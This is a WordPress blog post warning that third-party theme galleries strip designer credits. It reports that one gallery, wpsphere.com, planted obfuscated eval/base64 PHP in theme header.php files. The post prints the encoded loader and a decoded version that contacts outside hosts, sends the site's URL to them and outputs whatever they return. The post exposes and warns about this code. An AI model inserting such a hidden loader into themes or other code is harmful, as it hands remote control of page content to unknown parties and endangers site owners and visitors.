Sponsored Themes Revisited

Back in April the world of WordPress was up in arms over the topic of 'sponsored themes'. I couldn't help but throw in my two cents by writing a story of my own in which I said,

While I have no problem with sponsored themes it seems some others do referring to the practice as tacky. I see nothing tacky about it. Being a partisan political blogger this site has already oodles of external links including blogrolls. What is one more link? While I appreciate the fact some bloggers are conscientious of what they link to nobody is forcing them to use a sponsored theme. If it truly is a concern then they can utilize the thousands of free themes - or pay to have one designed. What is so wrong about a theme designer wanting to make a little money?

There is a big difference between a designer adding a 'sponsored by' link to the footer of a theme being offered for free and unscrupulous persons hijacking said theme and adding those same links. Which brings me to the point of this post. 3rd party galleries or theme sites.

A number of sites have popped up lately offering free WordPress themes. The problem with these sites is that in many cases they have stripped the designer's credits from the themes only to replace them with links back to their own sites or even to others. Two sites I have found engaging in this practice are blogstheme.com and wordpresstemplates.name. Although this may seem rather harmless albeit unethical I have stumbled upon yet another gallery that is doing more than deleting author credits/adding links to footers.

Enter wpsphere.com. This site has added a strange and potentially dangerous piece code to virtually every theme in its showcase, at least to every one I checked. The code, contained in header.php is as follows:

@eval(@base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMD\
kxNiA9IEBmc29 ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0R\
kZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0M\
DYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid\
3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9I\
EBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFM\
kZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFM\
ywgMykpICRSNTB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3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gd\
XJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1c\
mxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxN\
EIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1R\

kU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7'));

Obviously this piece of code is encrypted but does make use of eval calls which is potentially dangerous. After some more research I came across Paul Carroll's blog CodeScout. He was able to decipher it and posted the following to his blog,

if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com"\
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, \
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr";
}
elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com"\
, 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, \
$R5F525F5B398DADD7CF0784BD406298E3, 3)) {

$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc";
}
else {
$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2";
}
@eval($R14AF1BE9EE26A90921E64A82E7836797 = 1);
if($R14AF1BE9EE26A90921E64A82E7836797 AND \
ini_get('allow_url_fopen')) {
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = "1");

$R6E4F14B335243BE656C65E3ED9E1B115 = \
"http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com\
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". \
urlencode($_SERVER['REQUEST_URI']) .”&”. “host=”. \
urlencode($_SERVER['HTTP_HOST']);
$R3E33E017CD76B9B7E6C7364FB91E2E90 = \
@file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115);
}

else
{
@eval($RD3FE9C10A808A54EA2A3DBD9E605B696 = “0″);
$R6E4F14B335243BE656C65E3ED9E1B115 = \
“http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com\
/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=”. \
urlencode($_SERVER['REQUEST_URI']) .”&”. \
“host=”. urlencode($_SERVER['HTTP_HOST']);

readfile($R6E4F14B335243BE656C65E3ED9E1B115);
}
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);

Paul isn't so sure the code is malicious - it may simply be a tracking script. But the potential for danger is shocking. Do you really want some unknown script running on your server? The bottom line is download themes only from trusted sites such as the official WordPress theme directory or directly from well known authors.

post
About Len Kutchma

Len has been blogging for over 10 years and is a rabid WordPress fan. In addition to blogging here you can find him writing the occasional article and toiling away in the forums at WeblogToolsCollection.com. He also hangs out at the WordPress support forums lending a hand where he can. Be sure to follow @wpcanada on Twitter.

Please Note: WPCanada is a moderated community. Please read the Comment Policy.

What Do You Think?

*